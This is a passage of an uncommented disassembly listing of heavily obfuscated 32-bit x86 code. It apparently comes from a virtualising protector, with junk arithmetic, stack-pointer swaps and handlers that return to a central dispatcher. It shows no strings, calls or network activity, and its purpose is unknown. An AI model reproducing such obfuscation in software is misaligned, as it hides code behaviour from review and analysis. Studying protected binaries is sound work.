dec edx dec edx xor edx, 3D8A633Bh push ebx mov ebx, 0C8D0F2Ch jmp loc_58EC7F ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EBAh+arg_6EB2] jmp loc_58977C ; --------------------------------------------------------------------------- loc_586A37: ; CODE XREF: sub_581EE9+6E0Fj push [esp-6EBAh+arg_6EB2] push [esp-6EB6h+arg_6EAC+2] pop edx add esp, 4 sub esp, 4 jmp loc_5904AF ; --------------------------------------------------------------------------- loc_586A49: ; CODE XREF: sub_581EE9+D603j xchg ebp, [esp-6EB6h+arg_6EAC+2] pop esp mov [esp-6EBAh+arg_6EB2], ebx mov bl, dl mov [edi+eax*4], bl mov ebx, [esp-6EBAh+arg_6EB2] add esp, 4 jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_586A60: ; CODE XREF: sub_581EE9+8020j sub esp, 4 mov [esp-6EBAh+arg_6EB2], eax jmp loc_5907C3 ; --------------------------------------------------------------------------- loc_586A6E: ; CODE XREF: sub_581EE9+49BCj mov ecx, [esp-6ECEh+arg_6EC6] add esp, 4 pop edx jmp loc_586BAD ; --------------------------------------------------------------------------- loc_586A7A: ; CODE XREF: sub_581EE9+DF4Fj xor edx, 6548E257h sub eax, 21051CB2h add eax, edx jmp loc_58F1CB ; --------------------------------------------------------------------------- loc_586A8C: ; CODE XREF: sub_581EE9+CD49j push ebx jmp loc_58AF59 ; --------------------------------------------------------------------------- loc_586A92: ; CODE XREF: sub_581EE9+A96Aj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6ED2h+arg_6ECA] pop esp push edx mov edx, 0F560696h jmp loc_58AE39 ; --------------------------------------------------------------------------- loc_586AAD: ; CODE XREF: sub_581EE9+F1D3j inc esi xor esi, 796058C4h sub eax, 1C2A13F4h sub eax, esi push edx push edi mov edi, 0D81668Ch sub edi, 37230FCBh xor edi, 8F3D53B7h mov edx, edi pop edi xor edx, 145568BFh sub edx, 59BE6038h shr edx, 7 push ecx mov ecx, 1A4323D9h jmp loc_58DE61 ; --------------------------------------------------------------------------- loc_586AEB: ; CODE XREF: sub_581EE9+BD91j or ecx, 79D71027h or ecx, 28A598Eh jmp loc_59191E ; --------------------------------------------------------------------------- loc_586AFC: ; CODE XREF: sub_581EE9+AF92j add esi, 18B17327h pop eax add esi, 2 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_58FC24 ; --------------------------------------------------------------------------- loc_586B17: ; CODE XREF: sub_581EE9+8B8Dj jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_586B1C: ; CODE XREF: sub_581EE9+4E35j pop esp jmp loc_58BE4A ; --------------------------------------------------------------------------- loc_586B22: ; CODE XREF: sub_581EE9+6662j mov edi, esp jmp loc_5894B1 ; --------------------------------------------------------------------------- loc_586B29: ; CODE XREF: sub_581EE9+54AFj mov dl, 0Fh jmp loc_58BD92 ; --------------------------------------------------------------------------- loc_586B30: ; CODE XREF: sub_581EE9+A800j mov esp, [esp] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_586B38: ; CODE XREF: sub_581EE9+799Bj pop [esp-6ED2h+arg_6ECA] push [esp-6ED6h+arg_6ECE] pop eax push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_587FA6 ; --------------------------------------------------------------------------- loc_586B51: ; CODE XREF: sub_581EE9+C4F3j xor ebp, [esp] pop esp shl [esp-6ED6h+arg_6ECE], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_586B5E: ; CODE XREF: sub_581EE9+B2B3j push edi jmp loc_58D500 ; --------------------------------------------------------------------------- loc_586B64: ; DATA XREF: sub_581EE9+3CF7o neg byte ptr [esp-6ECEh+arg_6EC6] pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_586B6D: ; CODE XREF: sub_581EE9+40E3j pop esi jmp loc_58F1AF ; --------------------------------------------------------------------------- loc_586B73: ; CODE XREF: sub_581EE9+EA0Bj push edi mov edi, 1 mov esi, edi push [esp-6EC8h+arg_6EBE+2] pop edi push edi push esp pop edi sub esp, 4 mov [esp-6EC0h+arg_6EB6+2], ebx mov ebx, 21CA456Dh add ebx, 0DE35BA97h add edi, ebx pop ebx add edi, 4 xchg edi, [esp-6EC4h+arg_6EBA+2] mov esp, [esp-6EC4h+arg_6EBA+2] and eax, esi push [esp-6EC4h+arg_6EBA+2] pop esi jmp loc_58DC05 ; --------------------------------------------------------------------------- loc_586BAD: ; CODE XREF: sub_581EE9+4B8Cj push 0CF3h mov [esp-6ED2h+arg_6ECA], edi mov edi, esp push ebp jmp loc_588D32 ; --------------------------------------------------------------------------- loc_586BBD: ; DATA XREF: sub_581EE9+3D3Fo mov cx, word ptr [esp-6ECEh+arg_6EC6] jmp loc_586520 ; --------------------------------------------------------------------------- loc_586BC6: ; CODE XREF: sub_581EE9+F67Ej add esp, 4 push edi mov edi, 77677914h xor edi, 47B6170Eh xor edi, 27224167h xor eax, edi jmp loc_58A713 ; --------------------------------------------------------------------------- push [esp-6ECEh+arg_6EC6] mov ecx, [esp-6ECAh+arg_6EC2] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp-6EC6h+arg_6EBE] jmp loc_58A740 ; --------------------------------------------------------------------------- loc_586BFC: ; DATA XREF: sub_581EE9+3C53o lodsd sub esp, 4 mov [esp-6EC2h+arg_6EBA], edx mov edx, 5268100Ah add eax, 1095A79h jmp loc_591BA9 ; --------------------------------------------------------------------------- loc_586C15: ; CODE XREF: sub_581EE9+4450j pop esp mul cx push small 7C64h mov [esp+0], dx push ax pushf jmp loc_58F796 ; --------------------------------------------------------------------------- loc_586C29: ; CODE XREF: sub_581EE9+DDC7j xor ebx, 32813FF3h push ecx push esi mov esi, 2505D94h mov ecx, esi pop esi sub ebx, ecx pop ecx jmp loc_58F869 ; --------------------------------------------------------------------------- loc_586C41: ; DATA XREF: sub_581EE9+3CC7o mov ecx, [esp-6EDCh+arg_6ED2+2] push edx push 65C0h jmp loc_587E55 ; --------------------------------------------------------------------------- loc_586C4F: ; CODE XREF: sub_581EE9+FA30j sub esi, ebp sub esi, 15D60C77h pop ebp jmp loc_58E7B9 ; --------------------------------------------------------------------------- loc_586C5D: ; CODE XREF: sub_581EE9+CE15j pop esi jmp loc_59156C ; --------------------------------------------------------------------------- loc_586C63: ; CODE XREF: sub_581EE9+69ECj push ebx push esp jmp loc_589BE6 ; --------------------------------------------------------------------------- loc_586C6A: ; CODE XREF: sub_581EE9+9049j push cx pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_586C72: ; CODE XREF: sub_581EE9+5DC7j pop esi push 2FEBh jmp loc_590EEA ; --------------------------------------------------------------------------- loc_586C7D: ; CODE XREF: sub_581EE9+9060j mov [esp-6ECEh+arg_6EC6], esi push 12C1h mov [esp-6ECAh+arg_6EC2], eax push esi jmp loc_588DA1 ; --------------------------------------------------------------------------- loc_586C8E: ; DATA XREF: sub_581EE9+3CCFo mov cx, word ptr [esp-6EC6h+arg_6EBE] push 5CC0h mov [esp-6EC2h+arg_6EBA], ecx mov ecx, esp add ecx, 4 jmp loc_58C9E4 ; --------------------------------------------------------------------------- loc_586CA7: ; CODE XREF: sub_581EE9+6236j xor edi, ebp xor ebp, edi push 3F52h jmp loc_58628B ; --------------------------------------------------------------------------- loc_586CB5: ; CODE XREF: sub_581EE9+D23Aj mov edx, [esp-6EBEh+arg_6EB6] add esp, 4 sub bl, dh add bl, 0FBh jmp loc_58C28C ; --------------------------------------------------------------------------- loc_586CC5: ; CODE XREF: sub_581EE9+EFDFj push ebx push ecx mov cl, 5Ch mov bh, cl pop ecx push ecx mov cl, bh mov dh, cl pop ecx mov ebx, [esp-6EBEh+arg_6EB6] add esp, 4 not dh xor dh, 0A6h push eax mov ah, dh mov bh, ah mov eax, [esp-6EBEh+arg_6EB6] add esp, 4 pop edx push ebx jmp loc_5869CF ; --------------------------------------------------------------------------- loc_586CF2: ; CODE XREF: sub_581EE9+8A98j xor ecx, [esp-6EC2h+arg_6EBA] xor [esp-6EC2h+arg_6EBA], ecx xor ecx, [esp-6EC2h+arg_6EBA] pop esp sub esp, 4 mov [esp-6EC2h+arg_6EBA], esi mov esi, esp jmp loc_58E5F1 ; --------------------------------------------------------------------------- loc_586D0C: ; CODE XREF: sub_581EE9+F8B3j shr eax, 1 xor eax, 1320A506h add edx, eax pop eax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_586D1B: ; CODE XREF: sub_581EE9+6858j xchg esi, [esp-6EC6h+arg_6EBE] jmp loc_586B1C ; --------------------------------------------------------------------------- loc_586D23: ; CODE XREF: sub_581EE9+E42Ej mov ebx, 2 add ebp, ebx pop ebx xor ebp, [esp-6ECAh+arg_6EC2] jmp loc_58E3D9 ; --------------------------------------------------------------------------- loc_586D33: ; CODE XREF: sub_581EE9+CA3Bj add esi, 74B13F3Ah not esi sub esi, 7B407C3Eh add edi, esi pop esi jmp loc_586369 ; --------------------------------------------------------------------------- loc_586D49: ; CODE XREF: sub_581EE9+767Ej push [esp-6ECEh+arg_6EC6] pop eax jmp loc_587730 ; --------------------------------------------------------------------------- loc_586D52: ; DATA XREF: sub_581EE9+3BB7o lodsd add eax, 36F04701h push ecx mov ecx, 3CA269C9h sub esp, 4 mov [esp-6EC6h+arg_6EBE], esi mov esi, 4FEC583Ah shr esi, 4 inc esi xor esi, 7F39C9EBh xor ecx, esi pop esi jmp loc_58ED31 ; --------------------------------------------------------------------------- loc_586D7E: ; CODE XREF: sub_581EE9+84B6j mov eax, 6DF622DBh dec eax push edx jmp loc_588E3E ; --------------------------------------------------------------------------- loc_586D8A: ; CODE XREF: sub_581EE9+9495j not esi add esi, 30B21943h or esi, 4DF65C18h push ecx mov ecx, 4DE526B5h add ecx, 2A3C13ABh add esi, ecx jmp loc_58FCBB ; --------------------------------------------------------------------------- loc_586DAB: ; CODE XREF: sub_581EE9+BD84j add esi, 4 add esi, 4 jmp loc_58ACA9 ; --------------------------------------------------------------------------- loc_586DBC: ; CODE XREF: sub_581EE9+4968j mov esp, [esp-6ECAh+arg_6EC2] mov cx, word ptr [esp-6ECAh+arg_6EC2] jmp loc_58EA69 ; --------------------------------------------------------------------------- loc_586DC8: ; CODE XREF: sub_581EE9+FCD0j add ecx, 50E7B96h sub eax, ecx pop ecx mov edx, [esp-6ECEh+arg_6EC6] push ecx jmp loc_58F3D3 ; --------------------------------------------------------------------------- loc_586DDA: ; CODE XREF: sub_581EE9+D83Bj mov ebx, edx pop edx sub esi, ebx pop ebx xchg esi, [esp-6ED2h+arg_6ECA] mov esp, [esp-6ED2h+arg_6ECA] mov word ptr [esp-6ED2h+arg_6ECA], cx movzx cx, al push cx pushf jmp loc_58728D ; --------------------------------------------------------------------------- loc_586DF6: ; DATA XREF: sub_581EE9+3C83o mov esp, [esp-6ECCh+arg_6EC2+2] jmp loc_58CCE0 ; --------------------------------------------------------------------------- loc_586DFE: ; CODE XREF: sub_581EE9+8121j push ebp mov ebp, 258E67A1h add ebp, 0DA71945Eh mov ecx, ebp mov ebp, [esp-6EC8h+arg_6EBE+2] jmp loc_58D457 ; --------------------------------------------------------------------------- loc_586E14: ; DATA XREF: sub_581EE9+3C27o mov cx, word ptr [esp-6EC8h+arg_6EBE+2] push 1DDEh mov [esp-6EC4h+arg_6EBA+2], ebp mov ebp, esp sub esp, 4 mov [esp-6EC0h+arg_6EB6+2], ebx mov ebx, 4 push ebx mov ebx, 44C9038Eh and ebx, 7C180E74h not ebx jmp loc_58EA0D ; --------------------------------------------------------------------------- loc_586E40: ; CODE XREF: sub_581EE9+B85Fj jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_586E45: ; CODE XREF: sub_581EE9+667Cj push 6DB7h mov [esp+0], ecx push edx mov dh, 0Dh push ebx mov bh, dh jmp loc_58FFA1 ; --------------------------------------------------------------------------- loc_586E58: ; CODE XREF: sub_581EE9+BAA3j mov eax, 0C1B5E189h sub ebx, eax pop eax sub ecx, 598A7FAEh jmp loc_58843B ; --------------------------------------------------------------------------- loc_586E6B: ; CODE XREF: sub_581EE9+A874j mov [esp-6EB4h+arg_6EAC], eax push 0A836A2Dh pop eax xor [esp+4], eax pop eax jmp loc_58B0CE ; --------------------------------------------------------------------------- loc_586E7E: ; CODE XREF: sub_581EE9+71DDj push [esp-6EB8h+arg_6EB2+2] jmp loc_5907BA ; --------------------------------------------------------------------------- loc_586E87: ; CODE XREF: sub_581EE9+82CFj push ebx sub esp, 4 mov [esp-6EACh+arg_6EA4], esi mov esi, 1A381982h mov ebx, 3F083C9Ch jmp loc_591223 ; --------------------------------------------------------------------------- loc_586E9D: ; CODE XREF: sub_581EE9+F3CEj mov ebx, esp jmp loc_58F7B6 ; --------------------------------------------------------------------------- loc_586EA4: ; CODE XREF: sub_581EE9+582Bj pop esp push ebx mov bh, 0E7h sub al, 0B9h sub al, bh push ecx sub esp, 4 mov [esp-6EA4h+arg_6E9A+2], eax jmp loc_589010 ; --------------------------------------------------------------------------- loc_586EBB: ; CODE XREF: sub_581EE9+C7D6j dec eax inc eax and eax, 0E2F4914h xor eax, 0E798BE51h sub esi, eax pop eax mov edi, esi pop esi jmp loc_58EB52 ; --------------------------------------------------------------------------- loc_586ED2: ; CODE XREF: sub_581EE9+ABB6j push edx jmp loc_587CB5 ; --------------------------------------------------------------------------- loc_586ED8: ; CODE XREF: sub_581EE9+B79Cj add al, 0E2h sub al, bh sub al, 0E2h pop ebx add al, bl jmp loc_58A5E9 ; --------------------------------------------------------------------------- loc_586EE6: ; CODE XREF: sub_581EE9+703Fj add esp, 2 xor al, dh pop edx sub esp, 4 mov [esp-6EB0h+arg_6EA8], ecx jmp loc_589556 ; --------------------------------------------------------------------------- loc_586EFD: ; CODE XREF: sub_581EE9+73A4j add esi, ebp pop ebp sub esp, 4 jmp loc_58E71E ; --------------------------------------------------------------------------- loc_586F0B: ; CODE XREF: sub_581EE9+9C84j mov esp, [esp-6EB0h+arg_6EA8] mov word ptr [esp-6EB0h+arg_6EA8], ax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_586F17: ; CODE XREF: sub_581EE9+D160j add edi, ebx pop ebx sub edi, 4 xchg edi, [esp-6EB4h+arg_6EAC] mov esp, [esp-6EB4h+arg_6EAC] mov [esp-6EB4h+arg_6EAC], ebx jmp loc_590E5E ; --------------------------------------------------------------------------- loc_586F2B: ; CODE XREF: sub_581EE9+7233j sub eax, 1353D63h jmp loc_58E7F4 ; --------------------------------------------------------------------------- loc_586F35: ; CODE XREF: sub_581EE9+8EC0j add ecx, 8E6319Fh pop ebp jmp loc_58CBF3 ; --------------------------------------------------------------------------- loc_586F41: ; DATA XREF: sub_581EE9+3BC3o mov ax, [esp+0] push 0E2Ch mov [esp-6EB4h+arg_6EAC], ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx jmp loc_5879C2 ; --------------------------------------------------------------------------- loc_586F5C: ; CODE XREF: sub_581EE9+4798j mov edi, [esp-6EFEh+arg_6EF6] add esp, 4 push eax push [esp-6EFEh+arg_6EFA] push [esp-6EFAh+arg_6EF0+2] pop eax push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp-6EF6h+arg_6EEC+2] xor [esp-6EF6h+arg_6EEC+2], edi xor edi, [esp-6EF6h+arg_6EEC+2] pop esp pop [esp-6EFAh+arg_6EF0+2] pop esp push [esp-6F02h+arg_6EFA] mov eax, [esp-6EFEh+arg_6EF6] jmp loc_58EDDB ; --------------------------------------------------------------------------- loc_586F96: ; CODE XREF: sub_581EE9+AEA7j add ebx, 4 xchg ebx, [esp-6EFEh+arg_6EF6] pop esp push ebp mov ebp, 4C1C21E9h dec ebp jmp loc_58DD35 ; --------------------------------------------------------------------------- loc_586FAC: ; CODE XREF: sub_581EE9+9E72j pop esi xor eax, ecx pop ecx push 2184h mov [esp-6F02h+arg_6EFA], ebp mov ebp, 800h and eax, ebp push [esp-6F02h+arg_6EFA] jmp loc_58E5E9 ; --------------------------------------------------------------------------- loc_586FC7: ; CODE XREF: sub_581EE9+F2EEj add ebp, edi push esi mov esi, 83658C2h add esi, 0FFFFFFFFh inc esi or esi, 3A37526Ch jmp loc_589AD1 ; --------------------------------------------------------------------------- loc_586FE1: ; CODE XREF: sub_581EE9+8C7Bj add edx, 4 add edx, 4 xchg edx, [esp-6EFAh+arg_6EF0+2] jmp loc_588495 ; --------------------------------------------------------------------------- loc_586FF2: ; CODE XREF: sub_581EE9+C9DCj push ebp jmp loc_58AF1D ; --------------------------------------------------------------------------- loc_586FF8: ; CODE XREF: sub_581EE9+DE5Fj mov esp, [esp-6EF6h+arg_6EEC+2] inc word ptr [esp-6EF6h+arg_6EEC+2] pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_587005: ; CODE XREF: sub_581EE9+890Bj not edi inc edi jmp loc_590507 ; --------------------------------------------------------------------------- loc_58700D: ; CODE XREF: sub_581EE9+677Fj mov ebp, 0A8804AF1h add ebp, 36027AB5h sub ebp, esi sub ebp, 36027AB5h jmp loc_58FA0C ; --------------------------------------------------------------------------- loc_587025: ; CODE XREF: sub_581EE9+A172j push ebx mov bl, 0EDh jmp loc_588FC3 ; --------------------------------------------------------------------------- loc_58702D: ; CODE XREF: sub_581EE9+7621j xor eax, edi jmp loc_58CD84 ; --------------------------------------------------------------------------- loc_587034: ; CODE XREF: sub_581EE9+F78Ej push ecx mov ch, 4 jmp loc_586583 ; --------------------------------------------------------------------------- loc_58703C: ; CODE XREF: sub_581EE9+457Ej not ah shl ah, 7 neg ah neg ah add ah, 6Dh mov dh, ah pop eax mov ch, dh mov edx, [esp-6EFEh+arg_6EF6] add esp, 4 jmp loc_58B6A5 ; --------------------------------------------------------------------------- loc_587058: ; CODE XREF: sub_581EE9+EEC6j pop esi push ecx mov ecx, 4 sub eax, ecx jmp loc_5875BF ; --------------------------------------------------------------------------- loc_587066: ; CODE XREF: sub_581EE9+78E1j push small 2974h jmp loc_58AF2A ; --------------------------------------------------------------------------- loc_58706F: ; DATA XREF: sub_581EE9+3C5Bo mov ax, word ptr [esp-6F00h+arg_6EF6+2] push eax mov eax, esp push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_58FFE3 ; --------------------------------------------------------------------------- loc_58708A: ; DATA XREF: sub_581EE9+3C0Fo push dword ptr [esp] mov eax, [esp-6EF4h+arg_6EEC] jmp loc_58917A ; --------------------------------------------------------------------------- loc_587095: ; CODE XREF: sub_581EE9+5D0Cj push dword ptr [esp+4] push [esp-6EF0h+arg_6EE8] pop eax add esp, 4 pop [esp-6EF4h+arg_6EEC] mov esp, [esp] jmp loc_58DE46 ; --------------------------------------------------------------------------- loc_5870AB: ; CODE XREF: sub_581EE9+9A4Ej mov dl, 0C3h jmp loc_590D1E ; --------------------------------------------------------------------------- loc_5870B2: ; CODE XREF: sub_581EE9+C17Cj shr edx, 1 push edi mov edi, 272C59F8h shl edi, 1 push 0 sub [esp-6EF0h+arg_6EE8], edi pop edi and edi, 47300583h or edi, 1E506D26h jmp loc_58B6D1 ; --------------------------------------------------------------------------- loc_5870D6: ; CODE XREF: sub_581EE9+E049j mov [esp-6EF4h+arg_6EEC], eax push 4B07h mov [esp-6EF0h+arg_6EE8], ebx mov ebx, 1C414002h mov eax, ebx pop ebx and eax, 41D75924h xor eax, 589D03ECh jmp loc_58FB75 ; --------------------------------------------------------------------------- loc_5870F8: ; DATA XREF: sub_581EE9+3D33o mov ax, word ptr [esp-6EF4h+arg_6EEC] push 115Ch mov [esp-6EF0h+arg_6EE8], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-6EF0h+arg_6EE8] jmp loc_58BF46 ; --------------------------------------------------------------------------- loc_587117: ; CODE XREF: sub_581EE9+C398j shr edi, 5 push ecx push edx mov edx, 55C8598Ch mov ecx, edx jmp loc_586238 ; --------------------------------------------------------------------------- loc_587128: ; CODE XREF: sub_581EE9+5A66j mov ebx, 5564649h mov ebp, 556464Dh sub ebp, 3C387017h jmp loc_58D760 ; --------------------------------------------------------------------------- loc_58713D: ; CODE XREF: sub_581EE9+A1CFj mov esi, esp sub esp, 4 mov [esp-6EE4h+arg_6EDC], ebx jmp loc_58C94E ; --------------------------------------------------------------------------- loc_58714D: ; CODE XREF: sub_581EE9+F3FCj push 7348h jmp loc_58F128 ; --------------------------------------------------------------------------- loc_587157: ; CODE XREF: sub_581EE9+E86Bj neg eax jmp loc_5876CC ; --------------------------------------------------------------------------- loc_58715E: ; CODE XREF: sub_581EE9+CF84j add ecx, ebp pop ebp push ecx pop esi jmp loc_58B71F ; --------------------------------------------------------------------------- loc_587168: ; CODE XREF: sub_581EE9+AD0Cj mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-6EE4h+arg_6EDC] pop esp mov [esp-6EE8h+arg_6EE0], esi push ebx mov ebx, 3E8F5E01h sub esp, 4 jmp loc_58D345 ; --------------------------------------------------------------------------- loc_587189: ; CODE XREF: sub_581EE9+C6E0j mov cx, word ptr [esp-6EE0h+arg_6ED6+2] push 1428h jmp loc_58DD6A ; --------------------------------------------------------------------------- loc_587197: ; CODE XREF: sub_581EE9+BCCEj mov esp, [esp-6EDCh+arg_6ED2+2] add word ptr [esp-6EDCh+arg_6ED2+2], ax pushf jmp loc_58C515 ; --------------------------------------------------------------------------- loc_5871A4: ; CODE XREF: sub_581EE9+8192j pop [esp-6ED8h+arg_6ECE+2] pop esp mov word ptr [esp-6EE0h+arg_6ED6+2], dx jmp loc_58BCA2 ; --------------------------------------------------------------------------- loc_5871B1: ; CODE XREF: sub_581EE9+D77Fj xchg edi, [esp-6EE0h+arg_6ED6+2] mov esp, [esp-6EE0h+arg_6ED6+2] push [esp-6EE0h+arg_6ED6+2] pop eax push 1F12h mov [esp-6EDCh+arg_6ED2+2], ecx mov ecx, esp push ebp mov ebp, esp add ebp, 4 jmp loc_58D07D ; --------------------------------------------------------------------------- loc_5871D3: ; DATA XREF: sub_581EE9+3D7Bo push dword ptr [edi+40h] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5871DB: ; CODE XREF: sub_581EE9+F02Cj sub al, ch mov ecx, [esp-6ED4h+arg_6ECA+2] push esi mov esi, esp push ecx mov ecx, 4FE40D78h sub ecx, 13FC19F5h push eax mov eax, 1 add ecx, eax pop eax sub ecx, 7512745Dh add ecx, 392A80DDh add esi, ecx mov ecx, [esp-6ECCh+arg_6EC2+2] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-6EC8h+arg_6EBE+2] pop esp push ebx mov ebx, 4 add esi, ebx pop ebx jmp loc_58AA61 ; --------------------------------------------------------------------------- loc_587227: ; CODE XREF: sub_581EE9+482Bj push ecx mov ecx, 50672503h add edx, 0CA5192Bh add edx, ecx jmp loc_58E5A7 ; --------------------------------------------------------------------------- loc_58723A: ; CODE XREF: sub_581EE9+B104j sub eax, edi jmp loc_58FFCC ; --------------------------------------------------------------------------- loc_587241: ; CODE XREF: sub_581EE9+652Fj push ecx mov cl, 0D9h shl cl, 1 and cl, 5Bh xor cl, 20h sub dh, cl mov ecx, [esp-6EF6h+arg_6EEC+2] add esp, 4 add al, dh jmp loc_58CD95 ; --------------------------------------------------------------------------- loc_58725E: ; CODE XREF: sub_581EE9+E00Fj add edx, 4 xchg edx, [esp-6EFAh+arg_6EF0+2] pop esp jmp loc_589454 ; --------------------------------------------------------------------------- loc_58726A: ; CODE XREF: sub_581EE9+A58Fj add edi, 4 jmp loc_585E25 ; --------------------------------------------------------------------------- loc_587275: ; CODE XREF: sub_581EE9+3E24j not eax shr eax, 2 push edx jmp loc_58DDB4 ; --------------------------------------------------------------------------- loc_587280: ; CODE XREF: sub_581EE9+EE51j add esi, 403D7ADEh neg esi jmp loc_5911AF ; --------------------------------------------------------------------------- loc_58728D: ; CODE XREF: sub_581EE9+4F08j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_587292: ; CODE XREF: sub_581EE9+FD29j sub eax, esi jmp loc_588EC7 ; --------------------------------------------------------------------------- loc_587299: ; CODE XREF: sub_581EE9+8D51j sub esp, 4 mov [esp-6EC8h+arg_6EBE+2], edx mov edx, 7D5B15E0h add edx, 0FFFFFFFFh jmp loc_588746 ; --------------------------------------------------------------------------- loc_5872AC: ; CODE XREF: sub_581EE9+452Dj shl edi, 7 dec edi sub edi, 70AC5B11h xor edi, 0B4C2497Ch xor ebp, edi pop edi sub ebp, 3C942B03h add ebp, 0DF8AEC74h add edx, ebp pop ebp push eax mov eax, 2 add edx, eax jmp loc_58A1BD ; --------------------------------------------------------------------------- loc_5872DB: ; CODE XREF: sub_581EE9+A666j or edx, 0DF93421h jmp loc_58FF90 ; --------------------------------------------------------------------------- loc_5872E6: ; CODE XREF: sub_581EE9+862Cj pop edx jmp loc_58A339 ; --------------------------------------------------------------------------- loc_5872EC: ; CODE XREF: sub_581EE9+F381j push edi mov edi, 2CF676B4h jmp loc_58B761 ; --------------------------------------------------------------------------- loc_5872F7: ; CODE XREF: sub_581EE9+BBF2j sub esi, 742E24E1h pop edx sub esi, 6EA157F2h jmp loc_5890E2 ; --------------------------------------------------------------------------- loc_587309: ; CODE XREF: sub_581EE9+63C3j push esp pop edx add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_58646C ; --------------------------------------------------------------------------- loc_587325: ; CODE XREF: sub_581EE9+CF4Fj add eax, 4 push ebx push edi push 1AE90773h pop edi push eax mov eax, 0E516F891h add edi, eax pop eax jmp loc_58E1AD ; --------------------------------------------------------------------------- loc_587340: ; CODE XREF: sub_581EE9+F1ACj pop ebx and ebx, ebp mov ebp, [esp-6EEAh+arg_6EE0+2] push ebx push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_5918B3 ; --------------------------------------------------------------------------- loc_58735A: ; CODE XREF: sub_581EE9+A8F6j sub esp, 4 mov [esp+0], edx mov edx, 43A57BB4h add ecx, edx mov edx, [esp+0] add esp, 4 jmp loc_587F1B ; --------------------------------------------------------------------------- loc_587372: ; CODE XREF: sub_581EE9+F100j push ecx mov ecx, 3B365A85h or ecx, 50EF61C7h sub ecx, 2B6B577Fh mov ebx, ecx jmp loc_58B6EF ; --------------------------------------------------------------------------- loc_58738B: ; CODE XREF: sub_581EE9+4284j xor ebx, eax mov eax, [esp-6EBAh+arg_6EB2] jmp loc_591533 ; --------------------------------------------------------------------------- loc_587395: ; CODE XREF: sub_581EE9+ED09j mov [esp-6EBAh+arg_6EB2], edx jmp loc_586B29 ; --------------------------------------------------------------------------- loc_58739D: ; CODE XREF: sub_581EE9+5FF7j add edi, ecx pop ecx jmp loc_587A11 ; --------------------------------------------------------------------------- loc_5873A5: ; DATA XREF: sub_581EE9+3C1Fo push [esp-6EBEh+arg_6EB6] pop eax jmp loc_587BC6 ; --------------------------------------------------------------------------- loc_5873AE: ; CODE XREF: sub_581EE9+DEBEj pop esp idiv ecx push 7DA8h mov [esp-6EBEh+arg_6EB6], edx push eax pushf jmp loc_58A30D ; --------------------------------------------------------------------------- loc_5873C0: ; CODE XREF: sub_581EE9+D458j pop esp push 1F3Dh mov [esp-6EB6h+arg_6EAC+2], edx mov dl, 0CEh push ax mov ah, 1Dh sub dl, ah pop ax sub al, 4Fh jmp loc_5892C7 ; --------------------------------------------------------------------------- loc_5873DA: ; CODE XREF: sub_581EE9+B9ECj mov [esp-6EB6h+arg_6EAC+2], ecx mov ecx, 19BF3DABh xor ecx, 61635267h push edi mov edi, 3E0511B7h and edi, 18683D43h sub edi, 7908426Ch push edi not [esp-6EAEh+arg_6EA4+2] pop edi push esi mov esi, 296060Bh xor edi, esi mov esi, [esp-6EAEh+arg_6EA4+2] add esp, 4 sub ecx, 260E7CD3h sub ecx, edi add ecx, 260E7CD3h pop edi jmp loc_58902D ; --------------------------------------------------------------------------- loc_587424: ; CODE XREF: sub_581EE9+B2A1j pop ebp push 2D91h jmp loc_58884B ; --------------------------------------------------------------------------- loc_58742F: ; CODE XREF: sub_581EE9+E9D8j add ecx, 4532BEDh sub ecx, 4AEE5E4Eh jmp loc_58FFD6 ; --------------------------------------------------------------------------- loc_587440: ; CODE XREF: sub_581EE9+EB9Bj mov [esp-6EB6h+arg_6EAC+2], eax mov eax, 0E8C794Dh xor [edi+40h], eax pop eax jmp loc_590B9A ; --------------------------------------------------------------------------- loc_587451: ; CODE XREF: sub_581EE9+4943j mov cl, 82h add al, 0F4h add al, cl jmp loc_59046E ; --------------------------------------------------------------------------- loc_58745C: ; CODE XREF: sub_581EE9+CB5Bj mov eax, ebx jmp loc_58B944 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6EBEh+arg_6EB6] push 3DEDh mov [esp-6EBAh+arg_6EB2], edx push esp push [esp-6EB6h+arg_6EAC+2] mov edx, [esp-6EB2h+arg_6EA8+2] add esp, 4 jmp loc_58611C ; --------------------------------------------------------------------------- loc_58747E: ; CODE XREF: sub_581EE9+3E32j xchg ecx, [esp-6ED2h+arg_6ECA] jmp loc_58FD2A ; --------------------------------------------------------------------------- loc_587486: ; DATA XREF: sub_581EE9+3D2Fo push [esp-6ED2h+arg_6ECA] push [esp-6ECEh+arg_6EC6] pop ecx push ecx mov ecx, esp push esi jmp loc_590129 ; --------------------------------------------------------------------------- loc_587496: ; CODE XREF: sub_581EE9+D71Aj mov edx, 2 push edi mov edi, 0DBB2158h xor edi, 1E353D78h add ebx, edi pop edi push edi mov edi, 8865E57h sub ebx, edi jmp loc_591695 ; --------------------------------------------------------------------------- loc_5874B7: ; CODE XREF: sub_581EE9+CD41j pop edx pop [esp-6EC6h+arg_6EBE] jmp loc_58B545 ; --------------------------------------------------------------------------- loc_5874C0: ; CODE XREF: sub_581EE9+BC8Aj sub edx, 4 jmp loc_58E4D7 ; --------------------------------------------------------------------------- loc_5874CB: ; CODE XREF: sub_581EE9+6877j mov 